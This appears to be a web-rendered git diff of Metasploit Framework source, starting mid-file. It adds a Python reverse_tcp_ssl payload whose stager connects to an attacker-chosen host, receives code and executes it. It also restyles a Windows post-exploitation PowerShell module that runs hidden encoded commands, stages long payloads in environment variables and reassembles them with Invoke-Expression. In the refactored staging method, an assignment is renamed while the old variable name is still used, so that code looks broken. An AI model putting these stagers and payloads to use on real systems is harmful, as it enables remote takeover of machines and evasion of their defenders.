||||
</configuration>
|
||||
"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
|
||||
$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
|
||||
$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
|
||||
[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
|
||||
try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
|
||||
&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
|
||||
} else {
|
||||
&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
|
||||
}} finally {
|
||||
[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
|
||||
$#{var_conf_path} | Remove-Item -Recurse
|
||||
}
|
||||
}
|
||||
#{var_func} -ScriptBlock {
|
||||
#{ps_code}
|
||||
}
|
||||
|
||||
|
||||
EOS
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/python/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp_ssl payload generation for Python
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Python::ReverseTcpSsl
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseTcp
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST']
|
||||
}
|
||||
|
||||
generate_reverse_tcp_ssl(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def supports_ssl?
|
||||
true
|
||||
end
|
||||
|
||||
def generate_reverse_tcp_ssl(opts={})
|
||||
# Set up the socket
|
||||
cmd = "import ssl,socket,struct\n"
|
||||
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
|
||||
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
|
||||
cmd << "s=ssl.wrap_socket(so)\n"
|
||||
cmd << py_send_uuid if include_send_uuid
|
||||
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||
cmd << "d=s.recv(l)\n"
|
||||
cmd << "while len(d)<l:\n"
|
||||
cmd << "\td+=s.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':s})\n"
|
||||
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -3,375 +3,352 @@ require 'msf/core/exploit/powershell'
|
|||
require 'msf/core/post/common'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
class Post
|
||||
module Windows
|
||||
##
|
||||
# Powershell exploitation routines
|
||||
##
|
||||
module Powershell
|
||||
include ::Msf::Exploit::Powershell
|
||||
include ::Msf::Post::Common
|
||||
|
||||
module Powershell
|
||||
include ::Msf::Exploit::Powershell
|
||||
include ::Msf::Post::Common
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
|
||||
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
|
||||
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
|
||||
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if powershell is installed
|
||||
#
|
||||
def have_powershell?
|
||||
cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"')
|
||||
return true if cmd_out =~ /Name.*Version.*InstanceId/m
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the Powershell version
|
||||
#
|
||||
def get_powershell_version
|
||||
return nil unless have_powershell?
|
||||
|
||||
process, pid, c = execute_script('$PSVersionTable.PSVersion')
|
||||
|
||||
o = ''
|
||||
|
||||
while (d = process.channel.read)
|
||||
if d == ""
|
||||
if (Time.now.to_i - start < time_out) && (o == '')
|
||||
sleep 0.1
|
||||
else
|
||||
break
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('Powershell::Post::timeout',
|
||||
[true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
|
||||
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
|
||||
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
|
||||
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
else
|
||||
o << d
|
||||
end
|
||||
end
|
||||
|
||||
o.scan(/[\d \-]+/).last.split[0,2] * '.'
|
||||
end
|
||||
|
||||
#
|
||||
# Get/compare list of current PS processes - nested execution can spawn many children
|
||||
# doing checks before and after execution allows us to kill more children...
|
||||
# This is a hack, better solutions are welcome since this could kill user
|
||||
# spawned powershell windows created between comparisons.
|
||||
#
|
||||
def get_ps_pids(pids = [])
|
||||
current_pids = session.sys.process.get_processes.keep_if {|p|
|
||||
p['name'].downcase == 'powershell.exe'
|
||||
}.map {|p| p['pid']}
|
||||
# Subtract previously known pids
|
||||
current_pids = (current_pids - pids).uniq
|
||||
return current_pids
|
||||
end
|
||||
|
||||
#
|
||||
# Execute a powershell script and return the output, channels, and pids. The script
|
||||
# is never written to disk.
|
||||
#
|
||||
def execute_script(script, greedy_kill = false)
|
||||
@session_pids ||= []
|
||||
running_pids = greedy_kill ? get_ps_pids : []
|
||||
open_channels = []
|
||||
# Execute using -EncodedCommand
|
||||
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
|
||||
ps_bin = datastore['Powershell::Post::force_wow64'] ?
|
||||
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
||||
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
|
||||
script = encode_script(script.to_s)
|
||||
end
|
||||
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
|
||||
vprint_good("EXECUTING:\n#{ps_string}")
|
||||
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
|
||||
# Subtract prior PIDs from current
|
||||
if greedy_kill
|
||||
Rex::ThreadSafe.sleep(3) # Let PS start child procs
|
||||
running_pids = get_ps_pids(running_pids)
|
||||
end
|
||||
|
||||
# Add to list of running processes
|
||||
running_pids << cmd_out.pid
|
||||
|
||||
# All pids start here, so store them in a class variable
|
||||
(@session_pids += running_pids).uniq!
|
||||
|
||||
# Add to list of open channels
|
||||
open_channels << cmd_out
|
||||
|
||||
return [cmd_out, running_pids.uniq, open_channels]
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Powershell scripts that are longer than 8000 bytes are split into 8000
|
||||
# byte chunks and stored as CMD environment variables. A new powershell
|
||||
# script is built that will reassemble the chunks and execute the script.
|
||||
# Returns the reassembly script.
|
||||
#
|
||||
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
|
||||
# Check to ensure script is encoded and compressed
|
||||
if compressed_script =~ /\s|\.|\;/
|
||||
compressed_script = compress_script(compressed_script)
|
||||
end
|
||||
# Divide the encoded script into 8000 byte chunks and iterate
|
||||
index = 0
|
||||
count = 8000
|
||||
while (index < compressed_script.size - 1)
|
||||
# Define random, but serialized variable name
|
||||
env_prefix = "%05d" % ((index + 8000)/8000)
|
||||
env_variable = env_prefix + env_suffix
|
||||
|
||||
# Create chunk
|
||||
chunk = compressed_script[index, count]
|
||||
|
||||
# Build the set commands
|
||||
set_env_variable = "[Environment]::SetEnvironmentVariable("
|
||||
set_env_variable += "'#{env_variable}',"
|
||||
set_env_variable += "'#{chunk}', 'User')"
|
||||
|
||||
# Compress and encode the set command
|
||||
encoded_stager = encode_script(compress_script(set_env_variable))
|
||||
|
||||
# Stage the payload
|
||||
print_good(" - Bytes remaining: #{compressed_script.size - index}")
|
||||
cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
|
||||
# Increment index
|
||||
index += count
|
||||
|
||||
end
|
||||
|
||||
# Build the script reassembler
|
||||
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
||||
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
||||
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
||||
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
||||
|
||||
# Compress and encode the reassemble command
|
||||
encoded_script = encode_script(compress_script(reassemble_command))
|
||||
|
||||
return encoded_script
|
||||
end
|
||||
|
||||
#
|
||||
# Uploads a script into a Powershell session via memory (Powershell session types only).
|
||||
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
|
||||
#
|
||||
def stage_psh_env(script)
|
||||
begin
|
||||
ps_script = read_script(script)
|
||||
encoded_expression = encode_script(ps_script)
|
||||
cleanup_commands = []
|
||||
# Add entropy to script variable names
|
||||
script_var = ps_script.rig.generate(4)
|
||||
decscript = ps_script.rig.generate(4)
|
||||
scriptby = ps_script.rig.generate(4)
|
||||
scriptbybase = ps_script.rig.generate(4)
|
||||
scriptbybasefull = ps_script.rig.generate(4)
|
||||
|
||||
if (encoded_expression.size > 14999)
|
||||
print_error("Script size: #{encoded_expression.size} This script requires a stager")
|
||||
arr = encoded_expression.chars.each_slice(14999).map(&:join)
|
||||
print_good("Loading " + arr.count.to_s + " chunks into the stager.")
|
||||
vararray = []
|
||||
arr.each_with_index do |slice, index|
|
||||
variable = ps_script.rig.generate(5)
|
||||
vararray << variable
|
||||
indexval = index+1
|
||||
vprint_good("Loaded stage:#{indexval}")
|
||||
session.shell_command("$#{variable} = \"#{slice}\"")
|
||||
cleanup_commands << "Remove-Variable #{variable} -EA 0"
|
||||
#
|
||||
# Returns true if powershell is installed
|
||||
#
|
||||
def have_powershell?
|
||||
cmd_exec('cmd.exe /c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m
|
||||
end
|
||||
linkvars = ''
|
||||
for var in vararray
|
||||
linkvars = linkvars + " + $" + var
|
||||
|
||||
#
|
||||
# Returns the Powershell version
|
||||
#
|
||||
def get_powershell_version
|
||||
return nil unless have_powershell?
|
||||
|
||||
process, _pid, _c = execute_script('$PSVersionTable.PSVersion')
|
||||
|
||||
o = ''
|
||||
|
||||
while (d = process.channel.read)
|
||||
if d == ""
|
||||
if (Time.now.to_i - start < time_out) && (o == '')
|
||||
sleep 0.1
|
||||
else
|
||||
break
|
||||
end
|
||||
else
|
||||
o << d
|
||||
end
|
||||
end
|
||||
|
||||
o.scan(/[\d \-]+/).last.split[0, 2] * '.'
|
||||
end
|
||||
linkvars.slice!(0..2)
|
||||
session.shell_command("$#{script_var} = #{linkvars}")
|
||||
else
|
||||
print_good("Script size: #{encoded_expression.size}")
|
||||
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
|
||||
end
|
||||
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
|
||||
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
|
||||
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
|
||||
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
|
||||
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
|
||||
print_good("Module loaded")
|
||||
unless cleanup_commands.empty?
|
||||
vprint_good("Cleaning up #{cleanup_commands.count} stager variables")
|
||||
session.shell_command("#{cleanup_commands.join(';')}")
|
||||
end
|
||||
rescue Errno::EISDIR => e
|
||||
vprint_error("Unable to upload script: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Reads output of the command channel and empties the buffer.
|
||||
# Will optionally log command output to disk.
|
||||
#
|
||||
def get_ps_output(cmd_out, eof, read_wait = 5)
|
||||
results = ''
|
||||
|
||||
if datastore['Powershell::Post::log_output']
|
||||
# Get target's computer name
|
||||
computer_name = session.sys.config.sysinfo['Computer']
|
||||
|
||||
# Create unique log directory
|
||||
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
|
||||
::FileUtils.mkdir_p(log_dir)
|
||||
|
||||
# Define log filename
|
||||
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
|
||||
log_file = ::File.join(log_dir,"#{time_stamp}.txt")
|
||||
|
||||
|
||||
# Open log file for writing
|
||||
fd = ::File.new(log_file, 'w+')
|
||||
end
|
||||
|
||||
# Read output until eof or nil return output and write to log
|
||||
while (1)
|
||||
line = ::Timeout.timeout(read_wait) {
|
||||
cmd_out.channel.read
|
||||
} rescue nil
|
||||
break if line.nil?
|
||||
if (line.sub!(/#{eof}/, ''))
|
||||
results << line
|
||||
fd.write(line) if fd
|
||||
#vprint_good("\t#{line}")
|
||||
break
|
||||
end
|
||||
results << line
|
||||
fd.write(line) if fd
|
||||
#vprint_status("\n#{line}")
|
||||
end
|
||||
|
||||
# Close log file
|
||||
# cmd_out.channel.close()
|
||||
fd.close() if fd
|
||||
|
||||
return results
|
||||
|
||||
#
|
||||
# Incremental read method - NOT USED
|
||||
#
|
||||
# read_data = ''
|
||||
# segment = 2**16
|
||||
# # Read incrementally smaller blocks after each failure/timeout
|
||||
# while segment > 0 do
|
||||
# begin
|
||||
# read_data << ::Timeout.timeout(read_wait) {
|
||||
# cmd_out.channel.read(segment)
|
||||
# }
|
||||
# rescue
|
||||
# segment = segment/2
|
||||
# end
|
||||
# end
|
||||
end
|
||||
|
||||
#
|
||||
# Clean up powershell script including process and chunks stored in environment variables
|
||||
#
|
||||
def clean_up(
|
||||
script_file = nil,
|
||||
eof = '',
|
||||
running_pids =[],
|
||||
open_channels = [],
|
||||
env_suffix = Rex::Text.rand_text_alpha(8),
|
||||
delete = false
|
||||
)
|
||||
# Remove environment variables
|
||||
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
env_del_command += "Select-String #{env_suffix}|%{"
|
||||
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
||||
|
||||
script = compress_script(env_del_command, eof)
|
||||
cmd_out, new_running_pids, new_open_channels = execute_script(script)
|
||||
get_ps_output(cmd_out, eof)
|
||||
|
||||
# Kill running processes, should mutex this...
|
||||
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
|
||||
(running_pids + new_running_pids).uniq.each do |pid|
|
||||
begin
|
||||
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
|
||||
session.sys.process.kill(pid)
|
||||
#
|
||||
# Get/compare list of current PS processes - nested execution can spawn many children
|
||||
# doing checks before and after execution allows us to kill more children...
|
||||
# This is a hack, better solutions are welcome since this could kill user
|
||||
# spawned powershell windows created between comparisons.
|
||||
#
|
||||
def get_ps_pids(pids = [])
|
||||
current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }
|
||||
# Subtract previously known pids
|
||||
current_pids = (current_pids - pids).uniq
|
||||
current_pids
|
||||
end
|
||||
|
||||
#
|
||||
# Execute a powershell script and return the output, channels, and pids. The script
|
||||
# is never written to disk.
|
||||
#
|
||||
def execute_script(script, greedy_kill = false)
|
||||
@session_pids ||= []
|
||||
running_pids = greedy_kill ? get_ps_pids : []
|
||||
open_channels = []
|
||||
# Execute using -EncodedCommand
|
||||
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
|
||||
ps_bin = datastore['Powershell::Post::force_wow64'] ?
|
||||
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
||||
|
||||
# Check to ensure base64 encoding - regex format and content length division
|
||||
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
|
||||
script = encode_script(script.to_s)
|
||||
end
|
||||
|
||||
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
|
||||
vprint_good "EXECUTING:\n#{ps_string}"
|
||||
cmd_out = session.sys.process.execute(ps_string, nil, { 'Hidden' => true, 'Channelized' => true })
|
||||
|
||||
# Subtract prior PIDs from current
|
||||
if greedy_kill
|
||||
Rex::ThreadSafe.sleep(3) # Let PS start child procs
|
||||
running_pids = get_ps_pids(running_pids)
|
||||
end
|
||||
|
||||
# Add to list of running processes
|
||||
running_pids << cmd_out.pid
|
||||
|
||||
# All pids start here, so store them in a class variable
|
||||
(@session_pids += running_pids).uniq!
|
||||
|
||||
# Add to list of open channels
|
||||
open_channels << cmd_out
|
||||
|
||||
[cmd_out, running_pids.uniq, open_channels]
|
||||
end
|
||||
|
||||
#
|
||||
# Powershell scripts that are longer than 8000 bytes are split into 8000
|
||||
# byte chunks and stored as CMD environment variables. A new powershell
|
||||
# script is built that will reassemble the chunks and execute the script.
|
||||
# Returns the reassembly script.
|
||||
#
|
||||
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
|
||||
# Check to ensure script is encoded and compressed
|
||||
if compressed_script =~ /\s|\.|\;/
|
||||
compressed_script = compress_script(compressed_script)
|
||||
end
|
||||
|
||||
# Divide the encoded script into 8000 byte chunks and iterate
|
||||
index = 0
|
||||
count = 8000
|
||||
while index < compressed_script.size - 1
|
||||
# Define random, but serialized variable name
|
||||
env_prefix = format("%05d%s", ((index + 8000) / 8000), env_suffix)
|
||||
|
||||
# Create chunk
|
||||
chunk = compressed_script[index, count]
|
||||
|
||||
# Build the set commands
|
||||
set_env_variable = "[Environment]::SetEnvironmentVariable(" \
|
||||
"'#{env_variable}'," \
|
||||
"'#{chunk}', 'User')"
|
||||
|
||||
# Compress and encode the set command
|
||||
encoded_stager = encode_script(compress_script(set_env_variable))
|
||||
|
||||
# Stage the payload
|
||||
print_good " - Bytes remaining: #{compressed_script.size - index}"
|
||||
execute_script(encoded_stager, false)
|
||||
|
||||
index += count
|
||||
end
|
||||
|
||||
# Build the script reassembler
|
||||
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
|
||||
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
|
||||
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
|
||||
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
|
||||
|
||||
# Compress and encode the reassemble command
|
||||
encoded_script = encode_script(compress_script(reassemble_command))
|
||||
|
||||
encoded_script
|
||||
end
|
||||
|
||||
#
|
||||
# Uploads a script into a Powershell session via memory (Powershell session types only).
|
||||
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
|
||||
#
|
||||
def stage_psh_env(script)
|
||||
begin
|
||||
ps_script = read_script(script)
|
||||
encoded_expression = encode_script(ps_script)
|
||||
cleanup_commands = []
|
||||
# Add entropy to script variable names
|
||||
script_var = ps_script.rig.generate(4)
|
||||
decscript = ps_script.rig.generate(4)
|
||||
scriptby = ps_script.rig.generate(4)
|
||||
scriptbybase = ps_script.rig.generate(4)
|
||||
scriptbybasefull = ps_script.rig.generate(4)
|
||||
|
||||
if encoded_expression.size > 14999
|
||||
print_error "Script size: #{encoded_expression.size} This script requires a stager"
|
||||
arr = encoded_expression.chars.each_slice(14999).map(&:join)
|
||||
print_good "Loading #{arr.count} chunks into the stager."
|
||||
vararray = []
|
||||
arr.each_with_index do |slice, index|
|
||||
variable = ps_script.rig.generate(5)
|
||||
vararray << variable
|
||||
indexval = index + 1
|
||||
vprint_good "Loaded stage:#{indexval}"
|
||||
session.shell_command("$#{variable} = \"#{slice}\"")
|
||||
cleanup_commands << "Remove-Variable #{variable} -EA 0"
|
||||
end
|
||||
|
||||
linkvars = ''
|
||||
vararray.each { |var| linkvars << " + $#{var}" }
|
||||
linkvars.slice!(0..2)
|
||||
session.shell_command("$#{script_var} = #{linkvars}")
|
||||
|
||||
else
|
||||
print_good "Script size: #{encoded_expression.size}"
|
||||
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
|
||||
end
|
||||
|
||||
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
|
||||
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
|
||||
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
|
||||
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
|
||||
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
|
||||
print_good "Module loaded"
|
||||
|
||||
unless cleanup_commands.empty?
|
||||
vprint_good "Cleaning up #{cleanup_commands.count} stager variables"
|
||||
session.shell_command(cleanup_commands.join(';').to_s)
|
||||
end
|
||||
rescue Errno::EISDIR => e
|
||||
vprint_error "Unable to upload script: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Reads output of the command channel and empties the buffer.
|
||||
# Will optionally log command output to disk.
|
||||
#
|
||||
def get_ps_output(cmd_out, eof, read_wait = 5)
|
||||
results = ''
|
||||
|
||||
if datastore['Powershell::Post::log_output']
|
||||
# Get target's computer name
|
||||
computer_name = session.sys.config.sysinfo['Computer']
|
||||
|
||||
# Create unique log directory
|
||||
log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name)
|
||||
::FileUtils.mkdir_p(log_dir)
|
||||
|
||||
# Define log filename
|
||||
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
|
||||
log_file = ::File.join(log_dir, "#{time_stamp}.txt")
|
||||
|
||||
# Open log file for writing
|
||||
fd = ::File.new(log_file, 'w+')
|
||||
end
|
||||
|
||||
# Read output until eof or nil return output and write to log
|
||||
loop do
|
||||
line = ::Timeout.timeout(read_wait) do
|
||||
cmd_out.channel.read
|
||||
end rescue nil
|
||||
break if line.nil?
|
||||
if line.sub!(/#{eof}/, '')
|
||||
results << line
|
||||
fd.write(line) if fd
|
||||
break
|
||||
end
|
||||
results << line
|
||||
fd.write(line) if fd
|
||||
end
|
||||
|
||||
# Close log file
|
||||
fd.close if fd
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
#
|
||||
# Clean up powershell script including process and chunks stored in environment variables
|
||||
#
|
||||
def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [],
|
||||
env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
|
||||
# Remove environment variables
|
||||
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
|
||||
env_del_command += "Select-String #{env_suffix}|%{"
|
||||
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
|
||||
|
||||
script = compress_script(env_del_command, eof)
|
||||
cmd_out, new_running_pids, new_open_channels = execute_script(script)
|
||||
get_ps_output(cmd_out, eof)
|
||||
|
||||
# Kill running processes, should mutex this...
|
||||
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
|
||||
(running_pids + new_running_pids).uniq.each do |pid|
|
||||
begin
|
||||
if session.sys.process.processes.map { |x| x['pid'] }.include?(pid)
|
||||
session.sys.process.kill(pid)
|
||||
end
|
||||
@session_pids.delete(pid)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error "Failed to kill #{pid} due to #{e}"
|
||||
end
|
||||
end
|
||||
|
||||
# Close open channels
|
||||
(open_channels + new_open_channels).uniq.each do |chan|
|
||||
chan.channel.close
|
||||
end
|
||||
|
||||
::File.delete(script_file) if script_file && delete
|
||||
end
|
||||
|
||||
# Simple script execution wrapper, performs all steps
|
||||
# required to execute a string of powershell.
|
||||
# This method will try to kill all powershell.exe PIDs
|
||||
# which appeared during its execution, set greedy_kill
|
||||
# to false if this is not desired.
|
||||
#
|
||||
def psh_exec(script, greedy_kill = true, ps_cleanup = true)
|
||||
# Define vars
|
||||
eof = Rex::Text.rand_text_alpha(8)
|
||||
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
|
||||
env_suffix = Rex::Text.rand_text_alpha(8)
|
||||
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
|
||||
|
||||
# Check to ensure base64 encoding - regex format and content length division
|
||||
unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
|
||||
script = encode_script(compress_script(script.to_s, eof), eof)
|
||||
end
|
||||
|
||||
if datastore['Powershell::Post::dry_run']
|
||||
return "powershell -EncodedCommand #{script}"
|
||||
else
|
||||
# Check 8k cmd buffer limit, stage if needed
|
||||
if script.size > 8100
|
||||
vprint_error "Compressed size: #{script.size}"
|
||||
error_msg = "Compressed size may cause command to exceed " \
|
||||
"cmd.exe's 8kB character limit."
|
||||
vprint_error error_msg
|
||||
vprint_good 'Launching stager:'
|
||||
script = stage_cmd_env(script, env_suffix)
|
||||
print_good "Payload successfully staged."
|
||||
else
|
||||
print_good "Compressed size: #{script.size}"
|
||||
end
|
||||
|
||||
vprint_good "Final command #{script}"
|
||||
|
||||
# Execute the script, get the output, and kill the resulting PIDs
|
||||
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
|
||||
if datastore['Powershell::Post::timeout'].to_i < 0
|
||||
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
|
||||
# print_error out
|
||||
return out
|
||||
end
|
||||
ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
|
||||
# Kill off the resulting processes if needed
|
||||
if ps_cleanup
|
||||
vprint_good "Cleaning up #{running_pids.join(', ')}"
|
||||
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
|
||||
end
|
||||
|
||||
return ps_output
|
||||
end
|
||||
end
|
||||
@session_pids.delete(pid)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error "Failed to kill #{pid} due to #{e}"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Close open channels
|
||||
(open_channels + new_open_channels).uniq.each do |chan|
|
||||
chan.channel.close
|
||||
end
|
||||
|
||||
::File.delete(script_file) if (script_file and delete)
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
# Simple script execution wrapper, performs all steps
|
||||
# required to execute a string of powershell.
|
||||
# This method will try to kill all powershell.exe PIDs
|
||||
# which appeared during its execution, set greedy_kill
|
||||
# to false if this is not desired.
|
||||
#
|
||||
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
|
||||
# Define vars
|
||||
eof = Rex::Text.rand_text_alpha(8)
|
||||
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
|
||||
env_suffix = Rex::Text.rand_text_alpha(8)
|
||||
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
|
||||
# Check to ensure base64 encoding - regex format and content length division
|
||||
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
|
||||
script = encode_script(compress_script(script.to_s, eof),eof)
|
||||
end
|
||||
if datastore['Powershell::Post::dry_run']
|
||||
return "powershell -EncodedCommand #{script}"
|
||||
else
|
||||
# Check 8k cmd buffer limit, stage if needed
|
||||
if (script.size > 8100)
|
||||
vprint_error("Compressed size: #{script.size}")
|
||||
error_msg = "Compressed size may cause command to exceed "
|
||||
error_msg += "cmd.exe's 8kB character limit."
|
||||
vprint_error(error_msg)
|
||||
vprint_good('Launching stager:')
|
||||
script = stage_cmd_env(script, env_suffix)
|
||||
print_good("Payload successfully staged.")
|
||||
else
|
||||
print_good("Compressed size: #{script.size}")
|
||||
end
|
||||
vprint_good("Final command #{script}")
|
||||
# Execute the script, get the output, and kill the resulting PIDs
|
||||
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
|
||||
if datastore['Powershell::Post::timeout'].to_i < 0
|
||||
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
|
||||
# print_error out
|
||||
return out
|
||||
end
|
||||
ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout'])
|
||||
# Kill off the resulting processes if needed
|
||||
if ps_cleanup
|
||||
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
|
||||
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
|
||||
end
|
||||
return ps_output
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -807,10 +807,10 @@ class Core
|
|||
elsif dump_json
|
||||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
|
||||
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
|
||||
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
|
||||
